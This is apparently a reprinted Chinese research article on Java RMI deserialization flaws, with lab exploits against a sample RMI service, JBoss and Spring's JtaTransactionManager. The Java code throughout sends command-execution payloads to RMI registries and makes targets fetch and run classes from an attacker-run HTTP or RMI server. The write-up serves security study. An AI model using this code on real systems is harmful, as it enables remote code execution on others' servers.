<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/13056

            Author:angelwhu

            0x00 背景


            在闡述java反序列化漏洞時,原文中提到:

            Java LOVES sending serialized objects all over the place. For example:

            In HTTP requests – Parameters, ViewState, Cookies, you name it.

            RMI – The extensively used Java RMI protocol is 100% based on serialization
            RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects

            JMX – Again, relies on serialized objects being shot over the wire Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

            在java使用RMI機制時,會使用序列化對象進行數據傳輸。這就會產生java反序列化漏洞。利用范圍是很大。

            之后,綠盟科技提到了JBoss中存在RMI機制方面的漏洞。最近又有了spring框架RCE漏洞,這個漏洞利用與RMI密切相關。

            這里便整理關于RMI漏洞的相關漏洞,并進行簡要利用分析。

            0x01 RMI簡介


            摘自網絡的簡要介紹:

            RMI是Remote Method Invocation的簡稱,是J2SE的一部分,能夠讓程序員開發出基于Java的分布式應用。一個RMI對象是一個遠程Java對象,可以從另一個Java虛擬機上(甚至跨過網絡)調用它的方法,可以像調用本地Java對象的方法一樣調用遠程對象的方法,使分布在不同的JVM中的對象的外表和行為都像本地對象一樣。

            這里看出它的功能中是可以通過網絡進行對象的傳輸,使其可以進行遠程對象調用。下面就寫一個簡單的RMI程序,說明其存在反序列化漏洞問題。

            0x02 RMI應用程序攻擊


            首先簡單的實現一個服務端,啟用RMI服務,綁定在6600端口:

            #!java
            public class Run {
            
                public static void main(String[] args) {
                    try {
                        //PersonServiceInterface personService=new PersonServiceImp();
                        //注冊通訊端口
                        LocateRegistry.createRegistry(6600);
                        //注冊通訊路徑
                        //Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
                        System.out.println("Service Start!");
                    } catch (Exception e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                    }
                }
            
            }
            

            上述代碼中代碼中,本來我使用bind函數,將personService對象綁定在服務器端供外部調用。

            但我發現,即使沒有任何對象綁定,只是用一行代碼LocateRegistry.createRegistry(6600);,開通RMI服務。然后,通過訪問服務端口(這里的6600端口),即可實現反序列化攻擊。

            這里進行利用當然遵從java反序列化漏洞中一個條件:Apache Commons Collections或者其他存在缺陷的第三方庫包含在lib路徑中。這里使用的是commons-collections-3.1.jar,將其加入到lib路徑中。

            這樣,上述簡單的RMI應用程序滿足了反序列化漏洞的兩個條件:

            攻擊代碼的編寫:

            #!java
            Object instance = PayloadGeneration.generateExecPayload("calc");
            
            InvocationHandler h = (InvocationHandler) instance;
            Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));//動態代理Rmote接口。
            Registry registry = LocateRegistry.getRegistry(ip, port);//服務器端的ip和端口
            try{
                registry.bind("pwned", r); // r is remote obj
            }
            catch (Throwable e) 
            {
                e.printStackTrace();
            }
            

            這里將java反序列化漏洞的payload封裝了下,PayloadGeneration.generateExecPayload("calc");會產生一個執行calc命令的對象,有興趣的可以在我的github上查看源碼。然后,將我們的payload發送到RMI服務端口進行攻擊。

            registry.bind("pwned", r);中r對象必須繼承Remote接口。所以這里使用了java動態代理技術來代理Remote接口并生成其對象r。然后使用bind函數便可將攻擊payload發送到RMI服務中,遠程執行calc命令,攻擊完成。本機測試如下:

            這里可以看到,只要應用服務器上使用了RMI服務,并使用了Apache Commons Collections第三方庫,就可能存在反序列化命令執行的漏洞。

            值得關注的是,RMI服務的攻擊,同樣可以使用URLClassLoader方法進行回顯。

            #!java
            Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 
            

            同樣,將封裝好的payload換成URLClassLoader的攻擊負載。便能加載遠程的exploit.ErrorBaseError類,執行pwd命令,即可回顯。這是我在Ubuntu上運行服務端進行的測試結果。

            這里說明了應用程序在使用RMI機制時,會存在反序列化的問題。如果恰好使用了有缺陷的第三方庫,那就可以遠程命令執行了。接下來,看看實際場景中的相關漏洞。

            0x03 JBoss RMI攻擊利用


            JBOSS符合我們在上述討論中的兩個條件:

            在綠盟科技的文章中,提到了JBOSS中存在使用RMI機制的問題,可以在JMXInvoker刪除的情況下獲取shell。 于是可以這樣重現命令執行。

            使用如下命令啟動jboss,默認就會對外開放所有端口。當然10.10.10.135代表本機ip。

            #!bash
            ./run.sh -b 10.10.10.135  
            

            首先,掃描一下jboss服務器端口,這里我使用的是jboss-6.1.0.Final版本,安裝在Ubuntu虛擬機中。使用nmap掃描結果如下:

            #!bash
            1090/tcp open  ff-fms
            1091/tcp open  ff-sm
            1098/tcp open  rmiactivation
            1099/tcp open  rmiregistry
            4446/tcp open  n1-fwp
            5500/tcp open  hotline
            8009/tcp open  ajp13
            8080/tcp open  http-proxy
            8083/tcp open  us-srv  
            

            發現1090端口和1099端口對外開放了。也就是說RMI服務對外開放了。

            在這里說一下,在jboss利用上面,按照原文的代碼利用,沒有重現成功。其中有payload的問題,所以使用了我自己寫的封裝好的payload,比較方便。另外,我們一開始認為攻擊1099端口,我的好同學研究發現應該是1090端口,這才攻擊成功。

            于是有了以下攻擊代碼:

            #!java
            Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); 
            
            InvocationHandler h = (InvocationHandler) instance;
            Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h));
            Registry registry = LocateRegistry.getRegistry("10.10.10.135", 1090);
            try{
                registry.bind("pwned", r); // r is remote obj
            }
            catch (Throwable e) 
            {
                e.printStackTrace();
            }   
            

            運行代碼,并攻擊Jboss可以得到如下執行結果:

            0x04 Spring framework遠程命令執行分析


            這個漏洞涉及JNDI和RMI服務,比較有趣。代碼細節分析請參考資料中的第三個,分析的非常好,就不班門弄斧了。這里簡單理清這個攻擊的步驟。

            Apache Commons Collections這個庫的反序列化利用類似,我們需要將spring框架中的lib包,包含在CLASSPATH中。這個要求比較苛刻,需要的包也比較多:

            翻譯下原文的命令執行代碼鏈:

            spring-tx.jar中包含org.springframework.transaction.jta.JtaTransactionManager類,這個類存在JNDI的反序列化問題。
            它的readObject() 方法執行中含有這樣的一個路徑:

            #!bash
            initUserTransactionAndTransactionManager()->
            lookupUserTransaction()->
            JndiTemplate.lookup()->
            InitialContext.lookup(userTransactionName)  
            

            InitialContext.Lookup() 會調用 userTransactionName屬性,這個屬性是我們可以控制的。
            查閱JNDI使用,可以發現userTransactionName屬性可以是一個外網的RMI路徑,比如:rmi://10.10.10.1:1099/Object

            于是我們可以自己搭建一個RMI服務器,讓目標服務器來訪問下載執行準備好的任意java代碼。
            服務端搭建在Ubuntu虛擬機上,簡單地建立一個socket進行數據傳輸并反序列化解析。代碼自行查閱github~~

            簡要畫的原理如下:

            Client端即為攻擊方,它向目標服務器發送JtaTransactionManager序列化對象后,會觸發server端進行訪問Client端(即:這時的RMI服務器端)中的RMI服務,去下載任意java對象進行執行。關鍵代碼為:

            #!java
            //創建RMI服務
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress +"/");
            //訪問rmi服務時,會轉到該url地址中下載client.ExportObject類,并新建對象。
            
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);
            
            String jndiAddress = "rmi://"+localAddress+":1099/Object";
            //通過jndi訪問rmi服務
            
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);
            

            測試遠程執行ifconfig命令,可在服務端看到執行成功,同時客戶端看到了訪問記錄。結果如下:

            0x05 結語


            java反序列漏洞影響很大,RMI機制也是冰山一角。期待相互交流研究。

            0x06 參考資料及源碼


            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线